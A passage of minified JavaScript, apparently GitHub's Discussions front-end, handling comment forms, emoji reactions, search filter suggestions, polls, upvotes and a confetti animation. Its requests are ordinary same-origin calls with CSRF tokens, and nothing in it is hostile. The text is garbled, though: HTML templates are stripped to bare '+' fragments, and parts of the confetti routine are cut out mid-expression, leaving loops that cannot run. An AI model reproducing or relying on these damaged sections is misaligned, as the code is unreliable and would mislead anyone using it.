n=j(e);if(n.getAttribute("data-poll-confirmation")==="true"!==t)if(t)tt(e),n.setAttribute("data-poll-confirmation","true");else{const m=L(n);q(e,m),n.setAttribute("data-poll-confirmation","false")}}o(nt,"toggleFormActionVariant");function j(e){return e.querySelector(".js-edit-comment-form-container")}o(j,"editFormTargetContainer");function F(e){return e.querySelector(".js-discussions-edit-form-actions")}o(F,"editFormActionsContainer");function L(e){return{bodyVersion:e.getAttribute("data-body-version"),outerDivClasses:e.getAttribute("data-outer-div-classes"),repositoryId:e.getAttribute("data-repository-id"),targetBody:e.getAttribute("data-target-body"),targetType:e.getAttribute("data-target-type"),textareaId:e.getAttribute("data-textarea-id"),slashCommandUrl:e.getAttribute("data-slash-command-url"),pollEditUrl:e.getAttribute("data-poll-edit-url")}}o(L,"editFormTemplateReplacements");function A(e,t,n){const s=document.querySelector(e);s&&(t.innerHTML="",t.appendChild(new x.R(s,n)))}o(A,"insertTemplate"),(0,d.N7)(".js-optimistic-reaction-render-button",{subscribe:e=>(0,l.RB)(e,"click",S,{capture:!1})});function S(e){const t=e.currentTarget;if(t){const n=new _(t);setTimeout(()=>{n.render()},1)}}o(S,"handleReactionEvent");class _{constructor(t){this.clickedReactionButton=t}render(){if(!this.isReactionAlreadyRendered)return this.addNewReactionGroup();this.isAddingReaction?this.addReactionToGroup():this.removeReactionFromGroup()}addReactionToGroup(){this.existingReactionGroupCountContainer&&this.existingReactionGroup&&(this.existingReactionGroup.removeAttribute("hidden"),this.existingReactionGroup.classList.add("user-has-reacted"),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount+1}`,this.addReactionToPopoverReactionButtons())}removeReactionFromGroup(){var t;this.existingReactionGroupCount===1&&this.existingReactionGroup.setAttribute("hidden",""),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount-1}`,(t=this.existingReactionGroup)==null||t.classList.remove("user-has-reacted"),this.removeReactionFromPopoverReactionButtons()}addNewReactionGroup(){const t=this.newEmojiButtonFromTemplate();this.newEmojiButtonTemplateContainer&&t&&this.commentReactionsContainer&&(this.nextButtonGroup?this.reactionGroupsContainer.insertBefore(t,this.nextButtonGroup):this.reactionGroupsContainer.append(t),t.classList.add(this.tooltipPositionClass),this.addReactionToPopoverReactionButtons(),this.commentReactionsContainer.classList.contains("d-md-none")&&this.commentReactionsContainer.classList.add("has-reactions"))}newEmojiButtonFromTemplate(){if(this.newEmojiButtonTemplateContainer){const n=this.newEmojiButtonTemplateContainer.content.querySelector(".js-reaction-group-button");if(n)return n.cloneNode(!0)}}get nextButtonGroup(){if(this.newEmojiButtonFromTemplatePosition!==void 0&&this.newEmojiButtonFromTemplatePosition!==null){const t=this.reactionGroupsContainer.children;for(const n of t)if(Number(n.getAttribute("data-button-index-position"))>this.newEmojiButtonFromTemplatePosition)return n}}get commentContainer(){return this.clickedReactionButton.closest(".js-comment")}get buttonsContainer(){return this.commentContainer.querySelector(".js-reaction-buttons-container")}get reactionContent(){return this.clickedReactionButton.getAttribute("data-reaction-content")}get reactionGroup(){return this.buttonsContainer.querySelector(`.js-comment-reactions-options g-emoji[alias='${this.reactionContent}'`)}get existingReactionGroup(){if(this.reactionGroup)return this.reactionGroup.closest(".js-reaction-group-button")}get existingReactionGroupCountContainer(){if(this.existingReactionGroup)return this.existingReactionGroup.querySelector(".js-discussion-reaction-group-count")}get newEmojiButtonTemplateContainer(){return document.getElementById(`emoji-reaction-button-template-${this.reactionContent}`)}get commentReactionsContainer(){return this.buttonsContainer.closest(".js-reaction-buttons-container")}get reactionGroupsContainer(){return this.buttonsContainer.querySelector(".js-comment-reactions-options")}get isReactionAlreadyRendered(){return!!this.reactionGroup}get isAddingReaction(){if(this.existingReactionGroup)return!this.existingReactionGroup.classList.contains("user-has-reacted")}get existingReactionGroupCount(){return this.existingReactionGroupCountContainer?Number(this.existingReactionGroupCountContainer.innerHTML):0}get newEmojiButtonFromTemplatePosition(){const t=this.newEmojiButtonFromTemplate();if(t)return Number(t.getAttribute("data-button-index-position"))}get tooltipPositionClass(){return this.buttonsContainer.querySelectorAll("button").length>1?"tooltipped-s":"tooltipped-se"}addReactionToPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.add("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)||(s.value=s.value.replace(/react/,"unreact"))}}removeReactionFromPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.remove("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)&&(s.value=s.value.replace(/unreact/,"react"))}}}o(_,"OptimisticReactionRenderer");var N=a(97730);(0,d.N7)(".js-inline-comment-form-container",{add:e=>U(e)}),(0,i.on)("click",".js-discussions-previewable-comment-form",function({currentTarget:e}){P(e,{willFocus:!0})}),(0,d.N7)(".js-discussions-previewable-comment-form-auto-replace",{add:e=>P(e,{willFocus:!1})}),(0,i.on)("quote-selection",".js-discussion-quote-selection",function(e){const t=e.detail,n=t.closest(".js-timeline-discussion-comment");if(!n)return;const s=t.range;P(n,{willFocus:!0}),t.range=s});function U(e){const t=e.closest(".discussion-timeline-item.js-comment-container");t&&t.getAttribute("data-open-edit-form-after-load")==="true"&&(t.setAttribute("data-open-edit-form-after-load","false"),P(e,{willFocus:!0}))}o(U,"conditionallyInsertForm");function P(e,t){const n=e.closest(".js-timeline-discussion-comment"),s=n.querySelector(".js-discussions-previewable-comment-form-container");if(!s)return;const m=s.getAttribute("data-parent-comment-id"),y=s.getAttribute("data-anchor-id"),C=s.getAttribute("data-back-page"),B=document.querySelector("template.js-new-comment-template");m&&B&&!s.querySelector(".js-discussion-comment-form")&&(s.innerHTML="",s.appendChild(new x.R(B,{id:m,random:crypto.randomUUID(),anchorId:y,backPage:C}))),t.willFocus&&(0,N.j)(n)}o(P,"insertForm"),(0,v.AC)(".js-discussions-previewable-comment-form-container .js-discussion-comment-form",async function(e,t){var n;await t.text(),(0,N.w)(e),(n=e.closest(".js-discussions-previewable-comment-form-container").querySelector(".js-comment-form-error"))==null||n.classList.add("d-none")});var V=a(32750),k=a(36162),z=a(15205),et=a(56238),at=a(41311);async function ot(){const e=O(),t=e.value,s=t.slice(0,e.selectionEnd).split(/\s+/).pop();st().hidden=!1,O().setAttribute("aria-expanded","true");const[m,y]=s.split(":");y!=null?await Pt(m,y):Dt(m);const C=Lt();t.trim().length>0?(C.hidden=!1,(0,V.T_)(Q())):(C.hidden=!0,(0,V.QZ)(Q()))}o(ot,"updateSearchSuggestionResults");function Ct(){const e=O();e.value="",e.getAttribute("data-initial-value").trim().length===0?ot():(0,et.Bt)(Q())}o(Ct,"handleSearchClear");function Tt(e){switch(e.detail.hotkey){case"Enter":if(O().value.trim()!==""||lt().querySelector(".js-navigation-item.navigation-focus"))return;(0,et.Bt)(Q());return;case"Escape":st().hidden=!0,O().setAttribute("aria-expanded","false");break}}o(Tt,"handleSearchInputKeydown");function _t(e){if(e&&e.target){const t=e.target,n=O();n!=null&&n.setAttribute("aria-activedescendant",t.id)}}o(_t,"handleSearchFormFocus");function ct(){(0,V.jK)(Q()),st().hidden=!0,O().setAttribute("aria-expanded","false")}o(ct,"hideSearchSuggestions");function Rt(e){const t=O(),n=e.target;if(n.hasAttribute("data-search")){(0,et.Bt)(Q());return}let s=n.getAttribute("data-value");s[s.length-1]!==":"&&(s+=" ");const m=t.value.slice(0,t.selectionEnd).replace(/\S+$/,""),y=t.value.slice(t.selectionEnd);let C="";y.length>0&&y[0]!==" "&&(C=" "),t.value=m+s+C+y,e.preventDefault(),t.focus();const B=m.length+s.length;t.setSelectionRange(B,B),(0,i.f)(t,"input")}o(Rt,"handleSelectedSuggestionResultEvent");function Ft(){const e=O(),t=e.value.length;e.setSelectionRange(t,t),e.focus(),ct()}o(Ft,"restoreSearchInputFocus");function Q(){return document.querySelector(".js-discussion-search-form")}o(Q,"getSearchForm");function O(){return document.querySelector(".js-discussion-search-input")}o(O,"getSearchInput");function st(){return document.querySelector(".js-discussion-search-autocomplete-dropdown")}o(st,"getSearchAutocompleteDropdown");function lt(){return document.querySelector(".js-discussion-search-autocomplete-results")}o(lt,"getSearchAutocompleteResultsContainer");function Lt(){return document.querySelector(".js-discussion-search-clear")}o(Lt,"getSearchClearButton");const xt=(0,z.Z)(Bt);function Bt(){return[{value:"author:",description:"filter by discussion author"},{value:"category:",description:"filter by discussion category"},{value:"is:",description:"filter by answered or unanswered"},{value:"label:",description:"filter by discussion label"}]}o(Bt,"fetchQualifierSuggestions");async function Pt(e,t){const n=Mt(e),s=dt(n,t).then(m=>m.map(y=>({value:`${e}:${y.value}`,description:y.description})));mt(s)}o(Pt,"renderValueSuggestions");async function Mt(e){switch(e){case"author":return It();case"category":return qt();case"label":return kt();case"is":return Ot();default:return[]}}o(Mt,"fetchSuggestionsForQualifier");const ut=(0,z.Z)(async e=>await(await fetch(e,{headers:{Accept:"application/json"}})).json());async function It(){const e=O().getAttribute("data-suggestable-authors-path");return ut(e)}o(It,"fetchAuthorSuggestions");async function qt(){return JSON.parse(O().getAttribute("data-suggestable-categories"))}o(qt,"fetchCategorySuggestions");async function kt(){const e=O().getAttribute("data-suggestable-labels-path");return ut(e)}o(kt,"fetchLabelSuggestions");async function Ot(){return[{value:"answered"},{value:"unanswered"}]}o(Ot,"fetchTypeSuggestions");function Dt(e){const t=xt(),n=dt(t,e,{fuzzy:!1}).then(s=>s.length===0?t:s);mt(n)}o(Dt,"renderQualifierSuggestions");async function dt(e,t,{fuzzy:n}={fuzzy:!0}){const s=await e,m=t.trim();return!m||m.length===0?s:s.filter(y=>n?y.value.includes(m):y.value.startsWith(m))}o(dt,"filterSuggestionsList");async function mt(e){const t=e.then(n=>n.length===0?k.dy``:ft());(0,k.sY)(k.dy` +
    + ${Nt()} ${(0,at.C)(t,ft())} + ${(0,at.C)(Ut(e),k.dy` loading... `)} +
    + `,lt())}o(mt,"renderSuggestionDropdown");function ft(){return k.dy`
    + Suggested filters +
    `}o(ft,"renderSuggestionsTitle");function Nt(){const e=O().value.trim();return e.length===0?k.dy``:k.dy` +
    + ${e} + +
    + `}o(Nt,"renderSearchSuggestion");async function Ut(e){return(await e).map((n,s)=>k.dy` +
    + ${n.value} + ${n.description} +
    + `)}o(Ut,"renderSuggestionList");var $t=a(29946);(0,i.on)("focusin",".js-discussion-search-input",ot),(0,i.on)("focusout:delay",".js-discussion-search-input",ct),(0,i.on)("navigation:open",".js-discussion-search-form",e=>{Rt(e)}),(0,i.on)("navigation:focus",".js-discussion-search-form",e=>{_t(e)}),(0,i.on)("navigation:keydown",".js-discussion-search-form",e=>{Tt(e)}),(0,d.N7)(".js-discussion-search-input",e=>{e.addEventListener("input",ot)}),(0,i.on)("click",".js-discussion-search-clear",Ct);let it=!1;(0,i.on)("submit",".js-discussion-search-form",()=>(it=!0,!0));function pt(){it&&Ft(),it=!1}o(pt,"restoreFocus"),document.addEventListener("pjax:end",pt),document.addEventListener($t.QE.SUCCESS,pt);var Ht=a(42150);(0,d.N7)(".js-confetti-party",()=>{(0,Ht.Z)()}),(0,i.on)("change",".js-discussion-spotlight-preview-trigger",function(e){const t=e.currentTarget,s=t.closest("form").querySelectorAll(`input[name="${t.name}"]`);for(const m of s){const y=m.closest("label");m.checked?y.setAttribute("aria-selected","true"):y.setAttribute("aria-selected","false")}Vt(t)}),(0,i.on)("click",".js-toggle-manage-discussion-spotlight",function(e){e.target instanceof HTMLElement});function Vt(e){const n=ht(e).querySelector(".js-discussion-spotlight-preview");Gt(n)}o(Vt,"previewTriggerChanged");async function Gt(e){const t=ht(e),n=e.getAttribute("data-url"),s=new URL(n,window.location.origin),m=t.querySelector(".js-discussion-spotlight-form");s.search+=(s.search?"&":"")+(0,et.qC)(m);let y;try{y=await(0,w.a)(document,s.toString())}catch{return}e.replaceWith(y)}o(Gt,"updateSpotlightPreview");function ht(e){return e.closest(".js-manage-discussion-spotlight-container")}o(ht,"getManageSpotlightContainer"),(0,v.AC)(".js-spotlight-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove(),document.querySelector(".js-discussions-categories")&&document.querySelector(".js-discussions-categories").classList.remove("v-hidden")}),(0,d.N7)(".js-discussion-spotlights-sortable",{async add(e){const{Sortable:t}=await a.e("app_assets_modules_github_sortable-behavior_ts").then(a.bind(a,36962));t.create(e,{animation:150,handle:".js-discussion-spotlight-handle",onUpdate:async()=>{const n=e.getAttribute("data-update-url"),m=Array.from(e.querySelectorAll(".js-discussion-spotlight")).map(C=>C.getAttribute("data-id")),y=e.parentElement.querySelector(".js-data-url-csrf");!y||await fetch(n,{method:"PUT",mode:"same-origin",body:JSON.stringify({spotlight_ids:m}),headers:{"Content-Type":"application/json",Accept:"application/json","Scoped-CSRF-Token":y.value,"X-Requested-With":"XMLHttpRequest"}})}})}}),(0,i.on)("click",".js-discussion-comment-thread-expand-button",function({currentTarget:e}){const t=gt(e);!t||Wt(t)}),(0,i.on)("click",".js-discussions-fetch-all-paginated-comments",function({currentTarget:e}){const t=gt(e);!t||Kt(t)});function Wt(e){Xt(e)&&e.setAttribute("data-open-edit-form-after-load","true")}o(Wt,"conditionallyOpenEditFormAfterLoad");function Kt(e){const t=e.querySelector(".js-discussion-comment-thread-expand-button");t&&(e.setAttribute("data-open-edit-form-after-load","true"),t.click())}o(Kt,"clickShowMoreButton");function gt(e){return e.closest(".discussion-timeline-item.js-comment-container")}o(gt,"commentContainerFor");function Xt(e){const t=e.querySelector(".js-inline-comment-form-container");return t?t.classList.contains("open"):!1}o(Xt,"isReplyFormOpen"),(0,d.N7)(".js-remove-error-state-on-click > details",{add:e=>Qt(e)});function Qt(e){var t;const n=(t=document.getElementById("discussion_category_id"))==null?void 0:t.getAttribute("value");if(!n)return;const s=e.querySelector(`.discussion-category-${n}`);!s||s.click()}o(Qt,"conditionallyReselectCategory");var ee=a(62805),vt=a(12981);const Zt=o(async(e,t,n,s)=>{const m=new FormData;m.append("question",n);for(const y of s)m.append("options[]",y);return await fetch(e,{body:m,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"sendRequest");class yt{constructor(t){this.pollForm=t,this.pollPreviewUrl=this.pollForm.getAttribute("data-poll-preview-url")||""}hide(){var t;this.pollForm.hidden=!0,(t=this.pollForm)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.pollForm.hidden=!1,(t=this.pollForm)==null||t.setAttribute("aria-hidden","false")}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-poll-preview-url-post-csrf");return t?t.value:""}getOptions(){const t=[],n=this.pollForm.querySelector("#poll-option-container");if(!n)return t;const s=n.querySelectorAll(".js-poll-option");for(const m of s)m.value&&t.push(m.value);return t}getQuestion(){const t=this.pollForm.querySelector(".js-poll-form-input-question");return t?t.value:""}}o(yt,"PollFormElement");class bt{constructor(t){this.pollFormElement=t}hidePollForm(){this.pollFormElement.hide()}showPollForm(){this.pollFormElement.show()}async getPreview(){const t=this.pollFormElement.getQuestion(),n=this.pollFormElement.getOptions();return t&&n.length>0?await(await Zt(this.pollFormElement.pollPreviewUrl,this.pollFormElement.getCsrfInputValue(),t,n)).text():""}}o(bt,"Poll");let K;(0,d.N7)(".js-discussion-poll-form-component",e=>{K=new bt(new yt(e))}),(0,i.on)("preview:rendered",".js-previewable-comment-form",async function(e){if(!K)return;const n=e.currentTarget.querySelector(".comment-body"),s=await K.getPreview();n.append((0,vt.r)(document,s)),K.hidePollForm()}),(0,i.on)("poll-preview:toggle:off",".js-discussion-poll-form-component",async function(){if(!K)return;const e=document.querySelector(".js-discussion-category-select");if(e){const t=e.querySelector("#category-select-header");if(!t)return;t.getAttribute("data-supports-polls")==="true"&&K.showPollForm()}else K.showPollForm()});const zt=o(async(e,t,n)=>{const s=new FormData;return s.append("option_id",n),await fetch(e,{body:s,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"polls_voting_sendRequest");class Et{constructor(t){this.optionsElement=t}checkedValue(){var t;const n=(t=this.optionsElement)==null?void 0:t.querySelector(".js-discussion-poll-option:checked");return n==null?void 0:n.value}hide(){var t;this.optionsElement&&(this.optionsElement.hidden=!0),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.optionsElement&&(this.optionsElement.hidden=!1),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","false")}}o(Et,"PollOptionsElement");class wt{constructor(t){this.resultsElement=t}hide(){var t;this.resultsElement&&(this.resultsElement.hidden=!0),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.resultsElement&&(this.resultsElement.hidden=!1),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","false")}}o(wt,"PollResultsElement");class St{constructor(t){this.pollForm=t,this.resultsElement=new wt(t.querySelector(".js-discussion-poll-results")),this.optionsElement=new Et(t.querySelector(".js-discussion-poll-options")),this.hideResultsButton=t.querySelector(".js-poll-hide-results"),this.showResultsButton=t.querySelector(".js-poll-show-results"),this.voteButton=t.querySelector(".js-discussion-poll-vote-button"),this.voteUrl=this.pollForm.getAttribute("data-vote-url")||"",this.pollUrl=this.pollForm.getAttribute("data-poll-url")||"",this.pollLocked=this.pollForm.getAttribute("data-poll-locked")||""}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-data-url-post-csrf");return t?t.value:""}hideResults(){var t,n,s,m;this.resultsElement.hide(),this.optionsElement.show(),this.hideResultsButton&&(this.hideResultsButton.hidden=!0),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","true"),this.showResultsButton&&(this.showResultsButton.hidden=!1),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","false"),this.pollLocked==="true"?(s=this.voteButton)==null||s.setAttribute("aria-disabled","true"):(m=this.voteButton)==null||m.setAttribute("aria-disabled","false")}showResults(){var t,n,s;this.resultsElement.show(),this.optionsElement.hide(),this.hideResultsButton&&(this.hideResultsButton.hidden=!1),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","false"),this.showResultsButton&&(this.showResultsButton.hidden=!0),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","true"),(s=this.voteButton)==null||s.setAttribute("aria-disabled","true")}}o(St,"polls_voting_PollFormElement");class jt{constructor(t){this.pollFormElement=t,this.bindHideResultsClick(t.hideResultsButton),this.bindShowResultsClick(t.showResultsButton),this.bindVoteClick(t.voteButton)}bindHideResultsClick(t){t==null||t.addEventListener("click",async()=>{this.hideResults()})}bindShowResultsClick(t){t==null||t.addEventListener("click",async()=>{this.showResults()})}bindVoteClick(t){t==null||t.addEventListener("click",async()=>{this.vote()})}async vote(){const t=this.pollFormElement.optionsElement.checkedValue();if(t&&(await zt(this.pollFormElement.voteUrl,this.pollFormElement.getCsrfInputValue(),t)).ok)try{const m=await(await fetch(this.pollFormElement.pollUrl,{headers:{Accept:"text/html"}})).text();this.pollFormElement.pollForm.replaceWith((0,vt.r)(document,m))}catch{return}}hideResults(){this.pollFormElement.hideResults()}showResults(){this.pollFormElement.showResults()}}o(jt,"polls_voting_Poll"),(0,d.N7)(".js-discussion-poll-component",e=>{new jt(new St(e))});var Yt=a(7739);const Jt=new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&(t.target.hidden=!0)},{root:null,rootMargin:"0px",threshold:.1});(0,d.N7)(".js-whats-new",e=>Jt.observe(e)),(0,i.on)("click",".js-whats-new-state",e=>{var t;((t=e.target)==null?void 0:t.parentNode).scrollIntoView({behavior:"smooth",block:"start"})});const rt=o(()=>{const e=document.querySelector(".js-whats-new-state");!e||(e.hidden=!1)},"showWhatsNew");document.addEventListener("pjax:end",rt),document.addEventListener("turbo:load",rt),async function(){await Yt.x,setTimeout(rt,1e3)}()},47930:(T,E,a)=>{a.d(E,{S:()=>h});function l(f){const c=document.querySelectorAll(f);if(c.length>0)return c[c.length-1]}o(l,"queryLast");function d(){const f=l("meta[name=analytics-location]");return f?f.content:window.location.pathname}o(d,"pagePathname");function v(){const f=l("meta[name=analytics-location-query-strip]");let c="";f||(c=window.location.search);const i=l("meta[name=analytics-location-params]");i&&(c+=(c?"&":"?")+i.content);for(const r of document.querySelectorAll("meta[name=analytics-param-rename]")){const u=r.content.split(":",2);c=c.replace(new RegExp(`(^|[?&])${u[0]}($|=)`,"g"),`$1${u[1]}$2`)}return c}o(v,"pageQuery");function h(){return`${window.location.protocol}//${window.location.host}${d()+v()}`}o(h,"requestUri")},22485:(T,E,a)=>{a.d(E,{N:()=>v,x:()=>h});var l=a(7739);let d=null;(async function(){await l.x,f()})();function v(i){h(c(i))}o(v,"announceFromElement");function h(i){!d||(d.textContent="",d.textContent=i)}o(h,"announce");function f(){d=document.createElement("div"),d.setAttribute("aria-live","polite"),d.classList.add("sr-only"),document.body.append(d)}o(f,"createNoticeContainer");function c(i){return(i.getAttribute("aria-label")||i.innerText||"").trim()}o(c,"getTextContent")},42150:(T,E,a)=>{a.d(E,{Z:()=>nt});const l=Math.random,d=Math.cos,v=Math.sin,h=Math.PI,f=h*2,c=40,i=3,r=12-i,u=10,b=100,p=-.1,w=-p-p,M=.13,W=.18,g=.4,R=.7-g;let x,$;const I=[],H=["#6a737d","#0366d6","#28a745","#ffd33d","#f66a0a","#6f42c1","#ea4aaa"];function Z(){const j=Math.floor(Math.random()*H.length);return H[j]}o(Z,"colorTheme");function X(j,F,L){return(1-d(h*L))/2*(F-j)+j}o(X,"interpolation");const D=1/u,G=D+D;function J(){const j=[D,1-D];let F=1-G;const L=[0,1];for(;F;){let A=F*l(),S,_,N,U,P;for(S=0,_=j.length,F=0;S<_;S+=2){if(U=j[S],P=j[S+1],N=P-U,A0;S-=2)_=S-1,U=j[_],P=j[S],U>=V&&Uk?j[_]=k:j.splice(_,2):UV&&(P<=k?j[S]=V:j.splice(S,0,V,k));for(S=0,_=j.length,F=0;S<_;S+=2)F+=j[S+1]-j[S]}return L.sort()}o(J,"createPoisson");const q=document.createElement("div");q.style.position="fixed",q.style.top="0",q.style.left="0",q.style.width="100%",q.style.height="0",q.style.overflow="visible",q.style.zIndex="9999";class tt{constructor(F){this.frame=0,this.outer=document.createElement("div"),this.inner=document.createElement("div"),this.outer.appendChild(this.inner),this.outer.style.position="absolute",this.outer.style.width=`${i+r*l()}px`,this.outer.style.height=`${i+r*l()}px`,this.inner.style.width="100%",this.inner.style.height="100%",this.inner.style.backgroundColor=F(),this.outer.style.perspective="50px",this.outer.style.transform=`rotate(${360*l()}deg)`,this.theta=360*l(),this.axis=`rotate3D(${d(360*l())},${d(360*l())},0,`,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.dTheta=g+R*l(),this.x=window.innerWidth*l(),this.y=-b,this.dx=v(p+w*l()),this.dy=M+W*l(),this.outer.style.left=`${this.x}px`,this.outer.style.top=`${this.y}px`,this.splineX=J(),this.splineY=[];const L=this.splineX.length-1;for(let A=1;A=this.splineX[_];)S=_++;const N=X(this.splineY[S],this.splineY[_],(A-this.splineX[S])/(this.splineX[_]-this.splineX[S]));return A*=f,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.outer.style.left=`${this.x+N*d(A)}px`,this.outer.style.top=`${this.y+N*v(A)}px`,this.y>F+b}}o(tt,"Confetto");function nt(j){const F=j==null?5e3:j;if(!$){document.body.appendChild(q);const L=o(()=>{const _=new tt(Z);I.push(_),q.appendChild(_.outer),x=window.setTimeout(L,c*l())},"addConfetto");L();let A;const S=o(_=>{const N=A?_-A:0;A=_;const U=window.innerHeight;for(let P=I.length-1;P>=0;--P)I[P].update(U,N)&&(q.removeChild(I[P].outer),I.splice(P,1));if(x||I.length){$=requestAnimationFrame(S);return}document.body.removeChild(q),$=void 0},"loop");window.setTimeout(function(){clearTimeout(x),x=void 0},F),requestAnimationFrame(S)}}o(nt,"poof")},97730:(T,E,a)=>{a.d(E,{j:()=>h,w:()=>f});var l=a(59753),d=a(55741),v=a(45075);(0,l.on)("click",".js-toggle-inline-comment-form",function(c){const i=c.currentTarget.closest(".js-line-comments");h(i)}),(0,l.on)("quote-selection",".js-line-comments",function(c){h(c.currentTarget),c.stopPropagation()}),(0,v.w4)("keydown",".js-inline-comment-form-container form .js-comment-field",function(c){const i=c.target;if(!i.classList.contains("js-navigation-enable")&&c.key==="Escape"&&i.value.length===0){const r=i.closest("form");f(r),c.preventDefault()}}),(0,l.on)("click",".js-hide-inline-comment-form",function(c){const i=c.currentTarget.closest("form");!(0,d.T)(i)||confirm(c.target.getAttribute("data-confirm-cancel-text"))?f(i):c.preventDefault()});function h(c){var i;const r=c.querySelector(".js-inline-comment-form-container");r.classList.add("open"),(i=r.querySelector(".js-write-tab"))==null||i.click(),r.querySelector(".js-comment-field").focus(),(0,l.f)(r,"inlinecomment:focus")}o(h,"focusForm");function f(c){c.reset();const i=c.closest(".js-inline-comment-form-container");i.classList.remove("open");const r=i.querySelector(".js-multi-line-preview");r&&(r.hidden=!0),(0,l.f)(i,"inlinecomment:collapse")}o(f,"blurForm")},62805:(T,E,a)=>{var l=a(22485),d=a(64463);const v=o(async(i,r,u,b)=>{const p=new FormData;return b===!0&&p.append("upvote","true"),await fetch(i,{body:u==="delete"?"":p,method:u,mode:"same-origin",headers:{"Scoped-CSRF-Token":r}})},"sendRequest");class h{constructor(r){this.voteCountElement=r}getLabel(){var r;return((r=this.voteCountElement)==null?void 0:r.getAttribute("data-upvote-label"))||""}getText(){var r;return((r=this.voteCountElement)==null?void 0:r.textContent)||""}}o(h,"VoteCountElement");class f{constructor(r){this.voteForm=r,this.voteButton=this.voteForm.querySelector(".js-upvote-button"),this.defaultVoteCountElement=new h(r.querySelector(".js-default-vote-count")),this.upvotedCountElement=new h(r.querySelector(".js-upvoted-vote-count")),this.url=this.voteForm.getAttribute("data-url")||""}isUpvoted(){return this.voteForm.getAttribute("data-upvoted")==="true"}getCsrfDeleteInputValue(){const r=this.voteForm.querySelector(".js-data-url-delete-csrf");return r?r.value:""}getCsrfPutInputValue(){const r=this.voteForm.querySelector(".js-data-url-put-csrf");return r?r.value:""}simulateUpvote(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","true"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.add("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.remove("color-fg-muted")),this.voteForm.classList.add("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.upvotedCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","true"),(0,l.x)(`${this.upvotedCountElement.getText()} Upvotes`)}simulateUpvoteDeletion(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","false"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.remove("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.add("color-fg-muted")),this.voteForm.classList.remove("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.defaultVoteCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","false"),(0,l.x)(`${this.defaultVoteCountElement.getText()} Upvotes`)}displayUpVoteError(r){const u=this.voteForm.querySelector(".js-upvote-error");u instanceof HTMLElement&&(u.textContent=r,u.hidden=!1)}hideVoteErrors(){const r=this.voteForm.querySelector(".js-upvote-error");r instanceof HTMLElement&&(r.hidden=!0)}}o(f,"VoteFormElement");class c{constructor(r){this.voteFormElement=r}animateUpvote(r){r?this.voteFormElement.simulateUpvoteDeletion():this.voteFormElement.simulateUpvote()}animateUpvoteUndo(r){r?this.voteFormElement.simulateUpvote():this.voteFormElement.simulateUpvoteDeletion()}async click(){this.voteFormElement.hideVoteErrors();const r=this.voteFormElement.isUpvoted(),u=r?this.voteFormElement.getCsrfDeleteInputValue():this.voteFormElement.getCsrfPutInputValue(),b=r?"delete":"put";this.animateUpvote(r);const p=await v(this.voteFormElement.url,u,b,!r);if(!p.ok){const w=await p.json();this.voteFormElement.displayUpVoteError(w.error),this.animateUpvoteUndo(r)}}}o(c,"Upvote"),(0,d.N7)(".js-upvote-button",i=>{if(!(i instanceof HTMLElement)||!(i.parentElement instanceof HTMLElement))return;const r=new c(new f(i.parentElement));i.addEventListener("click",async()=>{await r.click()})})},7739:(T,E,a)=>{a.d(E,{C:()=>d,x:()=>l});const l=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),d=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},29719:(T,E,a)=>{a.d(E,{D:()=>h,a:()=>v});var l=a(17463),d=a(12981);async function v(f,c,i){const r=new Request(c,i);r.headers.append("X-Requested-With","XMLHttpRequest");const u=await self.fetch(r);if(u.status<200||u.status>=300)throw new Error(`HTTP ${u.status}${u.statusText||""}`);return(0,l.t)((0,l.P)(f),u),(0,d.r)(f,await u.text())}o(v,"fetchSafeDocumentFragment");function h(f,c,i=1e3){return o(async function r(u){const b=new Request(f,c);b.headers.append("X-Requested-With","XMLHttpRequest");const p=await self.fetch(b);if(p.status<200||p.status>=300)throw new Error(`HTTP ${p.status}${p.statusText||""}`);if(p.status===200)return p;if(p.status===202)return await new Promise(w=>setTimeout(w,u)),r(u*1.5);throw new Error(`Unexpected ${p.status} response status from poll endpoint`)},"poll")(i)}o(h,"fetchPoll")},55741:(T,E,a)=>{a.d(E,{M:()=>v,T:()=>h});var l=a(14840),d=a(56238);function v(g,R=!1){return h(g)||b(g,R)||M(g)||W(g)}o(v,"hasInteractions");function 